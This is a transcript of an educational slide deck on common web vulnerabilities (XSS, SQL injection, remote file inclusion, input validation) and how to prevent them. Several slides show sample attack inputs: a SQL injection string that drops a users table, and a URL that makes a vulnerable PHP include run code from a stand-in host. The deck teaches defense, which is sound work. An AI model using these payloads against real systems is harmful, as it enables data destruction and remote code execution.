security tech talk

16
Web Security: Tech Talk Mallik http://codeinspections.blog spot.com March 20 th , 2009

Upload: mallikarjun-reddy

Post on 06-May-2015

894 views

Category:

Education


2 download

DESCRIPTION

Describes the most common web vulnerabilities and solutions for the same

TRANSCRIPT

Page 1: Security Tech Talk

Web Security: Tech TalkMallik

http://codeinspections.blogspot.com

March 20th, 2009

Page 2: Security Tech Talk

Introduction Web applications are accessible openly on web

there by making it more prone to hacking.

Web Developers are not well versed with security issues because of which the applications are prone to vulnerabilities.

Web applications run in the browser, any security loop hole in browser will lead to exploiting vulnerability in web application.

Page 3: Security Tech Talk

Where do security bugs hide ?

Functional BugsSecurity Bugs

Design Implementation

Page 4: Security Tech Talk

Web Vulnerabilities XSS (Cross Site Scripting) Attack [44%]

SQL Injection [25%]

Input Validation [8%]

Remote File Inclusion [17%]

Cookie Theft [3%]

Page 5: Security Tech Talk

XSS (Cross Site Scripting) XSS: code injection by malicious web users into the

web pages. Non Persistent: These holes show up when data

provided by a web client is used immediately by server-side scripts to generate a page of results for that user.

Ex: Search Engines [exploits using social engineering] Example Persistent: XSS vulnerability that exists when data

provided to a web application by a user is stored persistently on the server

Ex: Blogger Comments Example

Page 6: Security Tech Talk

XSS (Cross Site Scripting)Exploits Session Hijacking / Cookie Theft [Example]

Redirecting the page to hacker’s desired location [persistent]

[Example]

Page 7: Security Tech Talk

Preventing XSS Escaping/Filtering Some of characters like <,> as

we do for Portal Application Replacing characters < with &lt; and > with &gt; Both the above solutions prevent users from

entering rich HTML content which is required for many web 2.0 Products

Escape HTML tags which can be malicious like <script>, <meta> etc. Blogger, MySpace are some with this kind of implementation.

Page 8: Security Tech Talk

SQL Injection SQL Injection is a security vulnerability occurring in

the DB layer. It is method to inject SQL command/query through the webpage. Hacker can come up with an intelligent input which may cause the application to do what it is not supposed to do.

Examples: Incorrect escaping/Filtering: Query: statement = "SELECT * FROM users WHERE

name = '" + userName + "';" Hacker’s input: a’ OR ‘x’=x Final Statement= SELECT * FROM users WHERE

name = ‘a’ OR ‘x’=x’;

Page 9: Security Tech Talk

SQL Injection More Serious attack: Query: statement = "SELECT * FROM users

WHERE name = '" + userName + "';" Hacker’s input: a’; Drop Table Users; Select *

from Users where name like ‘% Final Statement= SELECT * FROM users

WHERE name = ‘a’; Drop Table Users; Select * from Users where name like ‘%’

Page 10: Security Tech Talk

Preventing SQL Injection Escaping Special Characters Error-prone way to prevent injections is to escape dangerous

characters. - Replacing ‘ with ‘’ - In MYSQL, use mysql_real_escape_string() to escape special

characters Using Parameterized Statements myCommand = new SqlCommand("SELECT * FROM USERS

WHERE USERNAME=@username AND PASSWORD= @password", myConnection)) {

myCommand.Parameters.AddWithValue("@username", user); myCommand.Parameters.AddWithValue("@password", pass);

Page 11: Security Tech Talk

Remote File Inclusion RFI vulnerabilities allow hackers to run their code

on the web servers. XSS is code injection on client side, whereas RFI is

on server side. Bad coding practice where filenames were sent as

Query parameters can be used as any normal variable in the code.

This was one of common PHP vulnerabilities in early days.

Page 12: Security Tech Talk

RFI Example<?php$file=$_REQUEST[‘file’];include ($file."php");?>

URL: http://test.com/test.php?file=http://hack.com/hack.php?

The code in hack.php would get executed on the server

Page 13: Security Tech Talk

Input Validation Most of security vulnerabilities are because of

Hacky input. Input Validation on Client Side (javascript) alone

will not suffice. We need to have check for user input on both Client and Server.

Hacker can disable the checks on client side and send invalid input to Server Side. (Example)

Example: Shopping site example about how serious a

attack can be if there is no server side check.

Page 14: Security Tech Talk

Security Vulnerability Via Browser Bugs Browser bugs can sometimes lead to

finding vulnerabilities in the Web Applications

Example is Cross-Domain XMLHTTP Vulnerability in First version of Chrome

What is Cross-Domain XMLHTTP ? What was bug in Chrome Version 1.0 ? Example

Page 15: Security Tech Talk

Lessons to Learn Web Security is not Rocket science Validate Input Validate output Watch for New Security Attacks and how

they affect your products

Page 16: Security Tech Talk

Thank You